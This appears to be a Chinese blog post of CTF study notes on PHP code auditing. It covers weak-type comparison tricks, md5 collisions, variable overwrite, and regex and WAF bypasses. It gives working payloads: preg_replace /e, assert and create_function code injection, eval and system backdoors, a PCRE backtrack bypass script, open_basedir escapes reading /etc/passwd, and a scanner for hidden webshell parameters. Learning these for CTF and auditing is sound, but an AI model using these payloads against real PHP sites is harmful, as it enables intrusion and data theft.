php代码审计

php函数漏洞

(1) = == ===

  • = 赋值
  • ==!= 将类型转为相同类型再比较
    • 字符串中含 .eE 且满足数值在整数范围解释为 float,但 float 中有不是正常的东西就是 0
    • "admin" == 0"1admin" == 1"admin1" == 0
    • 1 + "bob-1.3e3" == 1
    • 0e 开头的被默认为 0
    • 1 表示为 true0falsenull
    • 数组表示 nullfalse
    • true == -1
    • "-1" == -1
    • 1.0000000000000001 == 1
  • ===!== 强比较,类型和值都比
    • array === array
    • name[] = a
  • 比较漏洞 - 进制比较
    • 在 PHP 中,只要开头为 0X 的字符串会被认为是 16 进制,在弱类型比较漏洞中,16 进制会先被转换成 10 进制再进行比较,所以只要传入一个带有 0x 的字符串也能够与数字进行比较并且返回 true

    • 在 PHP 中, 如果 bool 和 “任何其他类型” 比较,”任何其他类型” 会转换为 bool

    • 在 PHP 中当转换为 boolean 时,以下值被认为是 FALSE

      1. 布尔值 FALSE 本身
      2. 整型值 0(零)
      3. 浮点型值 0.0(零)
      4. 空字符串,以及字符串 “0”
      5. 不包括何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是 true
      6. 不包括任何成员变量的对象(仅 PHP 4.0 适用)
      7. 特殊类型 NULL(包括尚未赋值的变量)
      8. 从空标记生成的 SimpleXML 对象
      9. 所有其它值包括 -1 都被认为是 TRUE (包括任何资源)

(2) intval

  • 转换为整型,在 PHP5 左右 intval(a)intval(a + 1)a 传入 2e5 返回 2200001
  • intval() 转换的时候,会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval() 不会报错而是返回 0
  • 877%00a,再用 intval 函数获取整数部分得到 877

(3) md5

  • md5 == md5($md5)
  • 常见 MD5 加密后为 0e 开头的字符串为:QNKCDZOs878926199as155964671as214587387a 等。
  • 因为 md5 函数不能处理数组,加密数组的时候会返回 NULL,对于这种情况也可以用来绕过某些场景,除此之外还有 sha1()/strlen()/strcmp()/strpos()
  • 对于使用 === 强比较的情况,上述方法均失效。不过可以使用 MD5 加密后的两个完全相等的字符串来进行绕过,可以利用 fastcoll 来生成:fastcoll_v1.0.0.5.exe -p 1.txt -o 1

(4) 变量覆盖

  1. extract

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
       $a = "a";
    $array = array("a" => "A", "b" => "B", "c" => "C");
    extract($array);

    - 就会有 `abc` 这几个变量了,并且是 `ABC`。
    - `extract()` 函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值覆盖掉。

    2. **`parse_str` 函数**
    ```php
    parse_str("name=uert&age=68", $myarr);
    • nameage 传入数组中
    • parse_str 函数将字符串解析成多个变量,如果设置了第二个变量 result,变量将会以数组元素的形式存入到这个数组,作为替代。
  2. $$ 变量覆盖

    • $$ 变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用 $GLOBALS(引用全局作用域中可用的全部变量)来做题。

(5) 伪随机数

  • mt_rand
  • mt_srand

(6) ereg()

  • 字符串对比解析,ereg 函数存在 NULL 截断漏洞,当 ereg 读取字符串时, 如果遇到了 %00,后面的字符串就不会被解析。
  • 注:这里的 %00 是需要 urldecode 才可以截断的,这是 URL 终止符,且 %00 长度是 1 不是 3。

(7) is_numeric()

  • 利用数组 + 十六进制来进行绕过:a[]=58B 在 PHP 4.x 和 5.x 中导致这个数组元素被误处理为数字。
  • 对于空字符 %00,无论是 %00 放在前后都可以判断为非数值,而 %20 空格字符只能放在数值后如 58%20s_numeric() 仍然会认为它是一个数字。
  • 16 进制也可以绕过 is_numeric() 检验,可以用来绕过 SQL 注入里的过滤。
  • 对于科学计数法来说转换后会保留 e 前面的数字,所以我们可以利用这个特性绕过。例如:?time=0.5276e7

(8) str_replace(find, replace, string, count)

  • 将匹配到的字符串替换为指定内容,不过这个函数可以通过双写来绕过这个替换,利用该特性可以绕过一些关键字替换的情况。

(9) preg_replace(pattern, replacement, subject, limit, count)

  • 函数的 /e 匹配模式存在命令执行漏洞,不过单纯的替换字符串来说它并不存在双写绕过这种缺陷。

  • /e 修饰符表示执行替换中的 PHP 代码(这是 PHP 5.5 之前的一个特性,现在已经被弃用),/i 修饰符表示匹配时忽略大小写。

  • 例子:

    1
    return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);

    'strtolower("\\1")' 是替换部分,其中 \\1 代表第一个捕获组的内容,这里的作用是将匹配到的文本转换为小写。

  • 我们让它变成

    1
    preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

(10) if(preg_match('/^php$/im',$a))

  • /m 为多行匹配,/i 不区分大小写,/^php$/ ^ 表示以 php 开头和 $ 表示以 php 结尾。
  • 当出现 %0A 的时候会被当做两行处理,此时只匹配一行,后面的行会自动被忽略。实现绕过。
  • 如果目标字符串中没有 "\n" 字符,或者模式中没有出现 ^$,设置这个修饰符不产生任何影响。
  • 如果正则表达式是 ^xxx$,在末尾加个换行符 %0A 就和没加一样在匹配中,但在对比中就不一样了,利用与匹配和对比中的矛盾。
1
2
3
4
5
6
7
8
9
10
<?php
if (preg_match('/^aqua_is_cute$/', $_GET['debu'])) {
echo "Match found!";
} else {
echo "No match!";
}
?>
// 访问以下 URL
// http://example.com/script.php?debu=aqua_is_cute%0A
// 输出结果: Match found!
  • preg_match(pattern, subject, matches, flags, offset);
    • pattern: 正则表达式模式,用于描述你想要匹配的文本格式。通常用斜杠 / 来包围正则表达式。

      • subject: 要搜索的字符串。

      • matches: (可选)数组,返回匹配结果。如果有匹配,matches[0] 包含完全匹配的部分,matches[1] 包含第一个捕获组的匹配内容,依此类推。

      • flags: (可选)控制匹配行为的标志,例如是否匹配所有结果(PREG_OFFSET_CAPTURE)。

      • offset: (可选)指定从字符串的哪个位置开始搜索。

        • 常见匹配规则:
          • 字符类:匹配特定字符集中的任意字符。
            • [A-Za-z0-9]:匹配任意字母(大写或小写)或数字。
            • [0-9]:匹配任意数字。
            • [A-Z]:匹配任意大写字母。
            • [a-z]:匹配任意小写字母。
          • 数量限定符
            • +:匹配前一个字符一次或多次(1次或以上)。
            • *:匹配前一个字符零次或多次(0次或以上)。
            • ?:匹配前一个字符零次或一次(0次或1次)。
            • {n}:匹配前一个字符恰好 n 次。
            • {n,}:匹配前一个字符至少 n 次。
            • {n,m}:匹配前一个字符至少 n 次,但不超过 m 次。
          • 锚点
            • ^:匹配字符串的开始。
            • $:匹配字符串的结束。
          • 预定义字符类:
            • \d 匹配任意数字(相当于 [0-9])。
            • \D 匹配任意非数字字符。
            • \w 匹配任意字母、数字或下划线(相当于 [a-zA-Z0-9_])。
            • \W 匹配任意非字母、非数字或非下划线字符。
            • \s 匹配任意空白字符(空格、制表符等)。
            • \S 匹配任意非空白字符。
          • 量词:
            • {n} 精确匹配 n 次。
            • {n,} 至少匹配 n 次。
            • {n,m} 匹配 n 到 m 次。
            • * 匹配零次或多次(相当于 {0,})。
            • + 匹配一次或多次(相当于 {1,})。
            • ? 匹配零次或一次(相当于 {0,1})。
            • preg_match('/a{3}/', 'aaa') // 匹配成功,匹配 “aaa”
            • preg_match('/a{2,4}/', 'aaaa') // 匹配成功,匹配 “aaaa”
          • 捕获组:
            • 使用圆括号 () 创建捕获组,捕获组中的内容会被捕获到 matches 数组中。
            • 示例:/(hello) (world)/ 匹配 “hello world”,matches[1] 会是 “hello”,matches[2] 会是 “world”。
          • 选择符 |:
            • 用于匹配多个模式中的一个。
            • 示例:/cat|dog/ 匹配 “cat” 或 “dog”。
          • 锚点:
            • ^ 匹配字符串的开头。
            • $ 匹配字符串的结尾。
            • 示例:/^hello/ 匹配 “hello” 仅当它出现在字符串的开头。
            • hello$/ 匹配 “hello” 仅当它出现在字符串的结尾。
          • 零宽断言:
            • 肯定先行断言 (?=...):匹配条件前面的位置,但不消耗字符。
            • 否定先行断言 (?!...):匹配条件前面的位置,并且不允许后面有特定内容。
            • 肯定后行断言 (?<=...):匹配条件后面的位置。
            • 否定后行断言 (?<!...):匹配条件后面的位置,但不允许前面有特定内容。
          • 转义字符\ 用于转义字符,使其具有特殊含义。例如 \d 匹配任何数字,\w 匹配任何单词字符。
          • (?R)?: 可选的递归匹配,用于处理嵌套函数调用。? 使得它变成可选的,以便处理最内层没有嵌套的函数调用。

(11) urldecode ( string $str ) : string

  • 解码已编码的 URL 字符串,因为发送请求的时候浏览器会自动进行一次解码,如果在代码中又执行 urldecode 就可能会存在绕过。例如:发送 ?id = 1%2527--》php接收到为$id=1%27 如果在执行 $id=urldecode($id) ,最终 $id=1'

(12) 回调函数

  • 回调函数是将一个函数作为参数传入另一个函数。由于可以将函数作为参数传入执行,将一些危险的函数作为参数传入,可能成为一个不易检测的后门。在 PHP 中有常用的回调函数:call_user_funccall_user_func_arrayarray_map 等。

  • 例如:

    1
    call_user_func('assert', $_REQUEST["pass"]);

    assert() 函数直接作为回调函数,以 $_REQUEST["pass"] 作为 assert 参数调用。

(14) 比较漏洞 - hash 长度扩展攻击

工具利用:HashPump/Hexpand/hash_extender

1
2
python3 setup.py install  # 安装Python绑定
hashpump -h

HashPump安装

  1. git clone https://github.com/bwall/HashPump.git
  2. apt-get install g++ libssl-dev
  3. cd HashPump
  4. make && make install

利用条件

  1. 使用 hash(key || message) 这种方式,且使用了 MD5 或 SHA-1 等基于 Merkle–Damgård 构造的哈希函数生成哈希值;
  2. 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密钥;
  3. 服务器把提交的数据跟密钥构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值。

扩展

  • 是弱类型比较,这意味着在某些情况下,PHP 会将字符串与数字进行比较时转换为相同的类型。
1
$d = array_search("DGGJ", $c["n"]);
  • PHP 会把 DGGJ 转为 0d === false ? die("no...") : NULL;,此时查找的就是 0 在数组里的位置了。我们可以把 0 放在索引为 1 的地方,这样 1 === false 不成立。

(16) create_function

  • 代码注入
  • 从 PHP 7.2.0 开始被标记为已弃用,并在 PHP 8.0.0 中被移除。
1
2
3
4
5
6
7
8
9
10
$newfunc = create_function('$a,$b', 'return $a+$b;');
// 等同于
function newfunc($a, $b) {
return $a + $b;
}
$newfunc = create_function('', '}eval($_POST["cmd"]);//');
// 等同于
function newfunc() {
eval($_POST["cmd"]);
}

(17) 通过构造动态调用函数

  • 例子:
    1
    $pi = base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})
  • 分析:
    • $pi = hex2bin("5f474554") => _GET
    • $$pi 取出真正的 _GET 数组,$p 得到的 _GET 只是字符串;因为 [] 被禁了就用 {} 代替,最后的得:
    • (_GET){pi}((_GET){abs})
1
if (isset($text) && file_exists($file) && file_get_contents($file) === "I have a dream") {

(18) 使用 file_get_contents($file)

  • 用 `file_get

_contents(‘php://input’)来读取原始POST数据,而不是$_POST` 键值对。

例如,如果你发送的是 debu=aqua_is_cute&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2,则 php://input 会读取整个 debu=aqua_is_cute&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2 作为字符串。

(19) pcre 回溯

  • 假设要匹配的正则是 <\?.\*[(;?>].*,输入是 <?php phpinfo();//aaaaa`。
1
2
<\?.\*[(`;?>].\*<Br>
<?php phpinfo();//aaaaa
  • 正则的 < 匹配了输入的 <。当前匹配成功则读取下一个字符。
1
2
<\?.\*[(`;?>].\*<br>
<?php phpinfo();//aaaaa
  • ? 也匹配成功,继续。
1
2
<\?.\*[(`;?>].\*<br>
<?php phpinfo();//aaaaa
  • .* 会匹配完接下来的所有字符,目前是没什么问题,但是读取下一个正则时就出问题了。
1
2
<\?.\*[(`;?>].\*<br>
<?php phpinfo();//aaaaa
  • 发现输入已经没东西匹配了。此时 NFA 开始回溯,回退之前匹配的字符。
1
2
<\?.\*[(`;?>].\*<br>
<?php phpinfo();//aaaa
  • 回退出来的字符 a 仍然无法匹配 [(;?>]`。继续回溯。
1
2
<\?.\*[(`;?>].\*<br>
<?php phpinfo();//aaa
  • 回溯这一步骤会重复执行,直到回溯到下面的状态。
1
2
<\?.\*[(`;?>].\*<br>
<?php phpinfo()
  • 这一步回溯回退出来的字符是 ;,匹配正则表达式 [(;?>]`。便停止回溯,匹配上字符。
1
2
<\?.\*[(`;?>].\*<br>
<?php phpinfo();
  • 最后的一个正则表达式匹配完接下来的所有内容。
1
2
<\?.\*[(`;?>].\*<br>
<?php phpinfo();//aaaaa
  • 完全匹配成功,返回 true。如果我们数一下,会发现回溯次数为 8,而回溯次数是有上限的,默认是 100 万。如果输入字符串执行正则时回溯次数超过了这个上限,就会返回 false。但这个 false 可以被强制转换。

例如下面的 WAF:

1
2
3
4
5
6
$input = "SELECT * FROM users WHERE id = 1 UNION " . str_repeat("/*!A*/ ", 10000) . "SELECT name, email FROM users;";
if (preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
} else {
echo "No SQL Injection detected.";
}
  • 可以利用 pcre 的回溯次数限制绕过。

但是下面的 WAF:

1
2
3
4
5
6
function is_php($data){  
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input); ...
}
  • 使用了 === 强等于,PREG_BACKTRACK_LIMIT_ERROR 不等于 0。利用这一特点,我们可以在 payload 末尾加一堆 a,使其超过回溯限制。
1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://4610db05-7adf-404b-8c30-b1047f5c5703.node4.buuoj.cn:81/", data={"cmd":payload})
#print(payload)
print(res.text)

(20) json_decode($json, true)['cmd'];

  • json_decode() 是一个用于将 JSON 格式的字符串转换为 PHP 数据结构(数组或对象)的函数。
1
$json = '{"cmd": "echo hello", "user": "admin"}';
  • json_decode($json, true) 将 JSON 字符串解析为 PHP 关联数组:

    1
    2
    3
    4
    $array = json_decode($json, true);
    // $array 现在等于:["cmd" => "echo hello", "user" => "admin"]
    $command = $array['cmd'];
    // $command 现在等于 "echo hello"
  • json_decode($json, false) 将 JSON 字符串解析为一个 PHP 对象:

    1
    2
    3
    4
    $object = json_decode($json, false);
    // $object 现在是一个对象,其属性如下:
    // $object->cmd = "echo hello"
    // $object->user = "admin"

(21) assert 注入

  • assert("intval($_GET[num])==1919810")
  • assert 里面直接把我们的输入拼接进去了 ?num=114514)==114514;//

(22) strstr()

  • 搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE

  • 语法:strstr(string, search, before_search)

  • string: 必需。规定被搜索的字符串。

  • search: 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。

  • before_search: 可选。一个默认值为 false 的布尔值。如果设置为 true,它将返回 search 参数第一次出现之前的字符串部分。

  • 注意这个函数是大小写敏感的。这里可以用 PHP:// 绕过,也可以考虑另外一个 PHP 伪协议:data://

(23) mb_substr()

  • 返回字符串的一部分,中文字符也可以使用。substr() 只针对英文字符

  • 语法:mb_substr(字符串, 起始, 长度, 编码),其中长度和编码可选。

  • 将土耳其语中的 “İstanbul” 转换为小写时,可能输出带点的 “i”(”i̇stanbul”)

(24) mb_strpos()

  • 返回要查找的字符串在别一个字符串中首次出现的位置

  • 语法:mb_strpos (字符串, 要搜索的字符串)

  • 因为 mb_strpos() 只会返回首次出现的位置,所以如果我们传类似于 hint.php?想要查看的文件路径 这样的 payload 的话,切割的结果是 hint.php,通过了过滤。问题是过滤通过了后这个 payload 根本就不是一个有效的文件名。

  • 不急,include 有一个很有趣的特性:

    • 如果参数中包含 ../ 这样的路径,解析器则会忽略 ../ 之前的字符串而去在当前目录的父目录下寻找文件。
    • 这意味着我们只要在想要查看的文件路径中使用 ../ 这类路径,include 就会自动忽略前面的内容,这样真正包含的文件名就是有效的了。一点一点试就可以得到正确的路径了。

(24) 文件存在

  • file_exists() 返回布尔值:

    • 如果文件存在,则返回 TRUE
    • 如果文件不存在,则返回 FALSE

    与其他相关函数不同的是:

    • is_file($filename) 仅检查文件是否存在,并且必须是一个文件,而不是目录。
    • is_dir($filename) 检查是否存在一个目录,哪怕它是空的。

(25) strpos

  • 查找字符串在另一字符串中第一次出现的位置(区分大小写),如果没有找到字符串则返回 FALSE
1
2
3
templates/'.system('cat+./templates/flag.php').'.php
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("strpos('templates/'.system('cat+./templates/flag.php').'.php', '..') === false") or die("Detected hacking attempt!");

逻辑漏洞绕过

  • 源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2021)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==

5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("me7e", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="me7e"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "me7e2021")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3)
{
include "flag.php";
echo $flag13;
}
?>
  • 第一层: 需要传入一个不是数字但是大于 2021 的参数,根据弱比较可以让 bar1=2022asd

  • 第二层: bar2 有 5 个元素,并且第一个是数组,让 bar2=[[0],2,3,4,5],通过弱比较绕过 array_search 的搜索

  • 第三层:因为是 PHP5,且 eregi 存在 00 截断可以直接绕过

  • 所以可以构造如下 URL:
    ?foo={"bar1":"2022asd","bar2":[[0],2,3,4,5],"a2":"me7eorite"}&cat[1][]="1"&dog=what&cat[0]=%00me7e2021


代码混淆 (强网杯 2019 - 高明的黑客)

  • 首页提示了源码泄露,下载下来后发现有 3000 多个文件,而且文件中有 eval 还有 assert,但是有些没有执行命令的功能,似乎是被混淆了。

  • 通过编写一个脚本遍历这些 evalassert 方法找到一个能够执行命令的功能。exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import os
import requests
import re
import threading
import time

print('start: '+ time.asctime( time.localtime(time.time()) ))

s1 = threading.Semaphore(100)
filePath = r"H:\Programmar\phpstudy_pro\WWW\src"
os.chdir(filePath)
requests.adapters.DEFAULT_RETRIES = 5
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False

def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file, encoding='utf-8') as f:
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {}
params = {}
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://101.43.122.252:8004/'+file
req = session.post(url, data=data, params=params)
req.close()
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content:
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close()
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close()
if "xxxxxx" in content:
break
if flag == 1:
param = a
else:
param = b
print('file: '+file+" and param:%s" %param)
print('endtime: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files:
t = threading.Thread(target=get_content, args=(i,))
t.start()
  • 替换脚本中的地址为本地 PHP 解压后的地址,修改 URL 地址方便测试能够执行命令。

image-20220529013728647

  • 因为写的是多线程会出现无法中断的情况,需要留意一下这个文件。

image-20220529013509303

  • 然后再题目环境中执行命令查看 flag.txt 获取到 flag

image-20220529014035445

flag{this_is_smart_hacker_flag}


small tips:

  • 100.0010 正和反值相等但并非是回文序列
  • get{var] ?var[变量名] ?var[template][tp1]=xxx&var[template][tp2]=xxx 数组 template 中的 tp1
    • var[]=aaaa 默认传了 var[0]=aaaa
    • 通过变量覆盖
      1
      extract($GET["flag"]);	
      flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

PHP 特性

  1. 我们知道 PHP 将查询字符串(在 URL 或正文中)转换为内部 $=GET 或的关联数组 $_POST。例如:/?foo=bar 变成 Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42 会转换为 Array([news_id] => 42)。如果一个 IDS/IPS 或 WAF 中有一条规则是当 news_id 参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

    1
    /news.php?%20news[id%00=42"+AND+1=0--
    • 上述 PHP 语句的参数 %20news[id%00 的值将存储到 $_GET["news_id"] 中。

    • PHP 需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

      1. 删除空白符
      2. 将某些字符转换为下划线(包括空格)
        1
        2
        3
        %20foo_bar%00            	                foo_bar            	                foo_bar           
        foo%20bar%00 foo bar foo_bar
        foo%5bbar foo[bar foo_bar
    • ?%20num=var_dump(scandir(chr(47)))

    • $_SERVER['PHP_SELF'] 表示当前 php 文件相对于网站根目录的位置地址,例如:

      1
      2
      3
      4
      http://www.5idev.com/php/ :/php/index.php
      http://www.5idev.com/php/index.php :/php/index.php
      http://www.5idev.com/php/index.php?test=foo :/php/index.php
      http://www.5idev.com/php/index.php/test/foo :/php/index.php/test/foo
      • basename 则是返回路径中的文件名部分。但是 basename 有个特性,如果文件名是一个不可见字符,便会将上一个目录作为返回值。比如:
        1
        highlight_file(basename($_SERVER['PHP_SELF']));
      • basename 例子:
        1
        2
        3
        4
        $var1="/config.php/test"
        basename($var1) => test
        $var2="/config.php/%ff"
        basename($var2) => config.php
      • 当我们访问一个 存在的文件/不存在的文件 这个 URL 时,php 会自动忽略多余的不存在的部分,比如下面两种 URL:
        1
        2
        /index.php
        /index.php/dosent_exist.php
  2. include 有一个很有趣的特性:

  • 如果参数中包含 ../ 这样的路径,解析器则会忽略 ../ 之前的字符串而去在当前目录的父目录下寻找文件
    • 这意味着我们只要在想要查看的文件路径中使用 ../ 这类路径,include 就会自动忽略前面的内容,这样真正包含的文件名就是有效的了。一点一点试就可以得到正确的路径了。
  1. CURLOPT_POSTFIELDS
  • 全部数据使用 HTTP 协议中的 “POST” 操作来发送。

要发送文件,在文件名前面加上 @ 前缀并使用完整路径。 文件类型可在文件名后以 ;type=mimetype 的格式指定。这个参数可以是 urlencoded 后的字符串,类似 'para1=val1&para2=val2&...',也可以使用一个以字段名为键值,字段数据为值的数组。如果 value 是一个数组,Content-Type 头将会被设置成 multipart/form-data。从 PHP 5.2.0 开始,使用 @ 前缀传递文件时,value 必须是个数组。从 PHP 5.5.0 开始, @ 前缀已被废弃,文件可通过 CURLFile 发送。设置 CURLOPT_SAFE_UPLOADtrue 可禁用 @ 前缀发送文件,以增加安全性。

  • CURLOPT_SAFE_UPLOAD

  • 默认 true。禁用 @ 前缀在 CURLOPT_POSTFIELDS 中发送文件。意味着 @ 可以在字段中安全地使用了。可使用 CURLFile 作为上传的代替。

  • PHP 5.5.0 中添加,默认值 false。 PHP 5.6.0 改默认值为 true。PHP 7 删除了此选项, 必须使用 CURLFile interface 来上传文件。

  • @ 符号出现了。这里的意思就是如果 CURLOPT_SAFE_UPLOADFalse,那么在 CURLOPT_POSTFIELDS 要发送的文件名前面加上 @ 就可以使用完整路径读取文件了。此时问题又来到了经典的文件任意读取。问题是,读取啥文件呢?我们现在完全不知道 flag 文件在哪。


上传还读取

  1. 无参函数可接受参数
1
2
3
4
function a(){
echo "1";
}
a('1','2');
  1. 命名空间
  • 可以简单地理解为一个“文件夹”或“目录”,它用来组织和管理代码中的类、函数、常量等元素,避免名称冲突。
  • 命名空间 A 和命名空间 B 就像是两个文件夹,每个文件夹里都有一个名为 sayHello() 的函数。由于它们处于不同的命名空间(文件夹)中,所以函数不会互相冲突。
  • 当你在 PHP 脚本中不指定命名空间时,代码运行在全局命名空间中。PHP 不允许在全局命名空间中重写内置函数(如 sha1())。
  • 命名空间的声明方式有两种:封闭命名空间开放命名空间。你提到的 namespace interesting;开放命名空间 的一种声明方式,它不需要使用 {} 包围代码块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
namespace test1{
function a(){
echo 'a';
}
}

namespace test2{
function b(){
echo 'b';
}
function phpinfo(){
echo 'phpinfo changed';
}

}

namespace{
\test1\a(); # 输出: a
\test2\b(); # 输出: b
}
  • php 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name() 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name() 这样调用函数,则其实是写了一个绝对路径。
  • 如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法。
1
2
3
4
5
6
7
namespace MyNamespace;

function phpinfo() {
echo "Custom phpinfo in MyNamespace";
}
phpinfo(); // 调用 MyNamespace\phpinfo(),输出 "Custom phpinfo in MyNamespace"
\phpinfo(); // 调用全局命名空间中的 phpinfo(),输出 PHP 配置信息

例子:

1
2
3
4
5
6
7
8
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
  • \create_function
  1. 匿名函数
  • 变量赋值示例
    1
    2
    3
    4
    5
    6
    7
    $greet = function($name)
    {
    printf("Hello %s\r\n", $name);
    };

    $greet('World');
    $greet('PHP');
  • 回调函数对匿名函数的调用
    1
    2
    3
    4
    echo preg_replace_callback('~-([a-z])~', function ($match) {
    return strtoupper($match[1]);
    }, 'hello-world');
    // 输出 helloWorld
  • 使用 USE 闭包
  • 可以从父作用域中继承变量。 任何此类变量都应该用 use 语言结构传递进去。 PHP7.1 起,不能传入此类变量:superglobals$this 或者和参数重名。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    $message = 'hello';

    $example = function () {
    var_dump($message);
    };
    #echo $example(); // Notice: Undefined variable: message

    $example = function () use ($message) {
    var_dump($message);
    };
    echo $example(); // string(5) "hello"


    $message = 'world';
    echo $example(); //string(5) "hello"

    $example = function ($arg) use ($message) {
    var_dump($arg . ' ' . $message);
    };
    $example("hello"); // string(11) "hello world"
  1. open_basedir
  • 是 PHP 中的一个配置选项,用于限制脚本可以访问的文件系统路径范围。

  • 例子 open_basedir = /var/www/html/:/tmp/ PHP 脚本只能访问 /var/www/html/ 目录及其子目录,和 /tmp/ 目录。

  • php.ini 文件中设置 open_basedir 选项。

  • 绕过方法

    • 利用 ini_setchdir,PHP 配置中未禁用 ini_set 的使用。

    参考:

    1
    2
    3
    4
    5
    6
    7
    8
    chdir('subDir');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');
    $a = file_get_contents('/etc/passwd');
    var_dump($a);
    • 利用 symlink
      1
      2
      3
      4
      5
      6
      7
      mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
      symlink('/var/www/html/a/b/c/d/e/f/g','foo');
      ini_set('open_basedir','/var/www/html:bar/');
      symlink('foo/../../../../../../','bar');
      unlink('foo');
      symlink('/var/www/html','foo');
      echo file_get_contents('bar/etc/passwd');
  1. PHP 是一门动态语言
  • 动态语言指在运行时确定数据类型的语言,它拥有一些独特的特性如:动态变量、动态函数执行等。
1
2
3
4
5
6
7
8
$_GET['a'] = 'cc';
#$a 是 $_GET 的中间变量,$_GET 是最终变量
$a = '_GET';
var_dump($$a); //第一个$是找到$a是_GET第二个是找到$_GET 想$this

$_POST = 'asdf';
$asdf = 'ccc';
var_dump($$_POST);
  • 可变属性名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    class foo {
    var $bar = 'I am bar.';
    var $arr = array('I am A.', 'I am B.', 'I am C.');
    var $r = 'I am r.';
    }

    $foo = new foo();
    $bar = 'bar';
    $baz = array('foo', 'bar', 'baz', 'quux');
    echo $foo->$bar . "\n";
    echo $foo->{$baz[1]} . "\n"; // 等同于 $foo->bar。因此,输出结果也是 'I am bar.'

    $start = 'b';
    $end = 'ar';
    echo $foo->{$start.$end} . "\n";

    $arr = 'arr';
    echo $foo->{$arr[1]} . "\n"; // 所以 $foo->{$arr[1]} 实际上是 $foo->r
  • 可变变量

    1
    2
    3
    4
    $a = 'b';
    $b = 'c';
    echo $$a;
    echo ${$a};
1
2
3
4
$a = 'a';
$b = 'b';
$ab = 'cccc';
echo ${$a.$b};
  • 动态函数
    1. 动态执行函数

      1
      2
      $a = 'phPinfo'; #php 的函数忽略大小写,但是变量严格大小写,这样写没问题 而且直接调用 PHpinfo 也不会报错
      $a();
    2. 动态实例化类

      1
      2
      3
      4
      class cc{
      }
      $a = 'cc';
      new $a();
    3. 可变函数后门

      1
      2
      3
      4
      5
      6
      7
      8
      $_POST['1']



      ```php
      ('sys'.'tem')('whoami');
      join("",["sys","tem"])("ipconfig");
      implode(['sys','tem'])("ipconfig");
  1. 深入理解 $_REQUEST 数组
1
print_r($_REQUEST['a']);
  • 这行代码会输出 $_REQUEST 数组中键为 ‘a’ 的值。$_REQUEST 是一个包含了 $_GET$_POST$_COOKIE 数据的数组,默认情况下,它的顺序是先处理 $_POST,然后是 $_GET,最后是 $_COOKIE

php代码审计
https://theganlove.github.io/2024/08/31/php代码审计/
作者
uert
发布于
